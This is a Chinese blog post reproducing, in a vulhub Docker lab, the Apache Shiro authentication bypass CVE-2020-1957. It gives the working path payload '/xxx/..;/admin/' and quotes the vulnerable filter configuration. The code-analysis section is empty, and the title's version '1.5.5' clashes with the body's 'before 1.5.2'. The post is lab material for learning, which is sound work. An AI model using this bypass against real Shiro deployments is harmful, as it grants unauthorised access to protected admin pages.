vulhub Apache Shiro 1.5.5认证绕过漏洞(CVE-2020-1957)漏洞复现

2023-03-07 20:42:08 浏览数 (1)

1.说明

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

在Apache Shiro 1.5.2以前的版本中,在使用Spring动态控制器时,攻击者通过构造..;这样的跳转,可以绕过Shiro中对目录的权限限制。

2.环境搭建

因为我的本地环境8080端口冲突,首先我要修改docker-compose.yml文件端口号,8080修改为8081

代码语言:javascript复制
version: '2'
services:
 web:
   image: vulhub/shiro:1.5.1
   ports:
    - "8081:8080"

进入到目录

Userstea90Documentsteagithubvulhub-mastershiroCVE-2020-1957

然后运行

docker-compose up -d

结束之后访问

3.漏洞复现

http://127.0.0.1:8081/

访问会直接跳转到登录

http://192.168.1.102:8081/admin

构造恶意请求/xxx/..;/admin/可以绕过权限校验访问到管理页面

这个应用配置的代码为

代码语言:javascript复制
@Bean
public ShiroFilterChainDefinition shiroFilterChainDefinition() {
    DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();
    chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form
    chainDefinition.addPathDefinition("/logout", "logout");
    chainDefinition.addPathDefinition("/admin/**", "authc");
    return chainDefinition;
}

4.代码分析

0 人点赞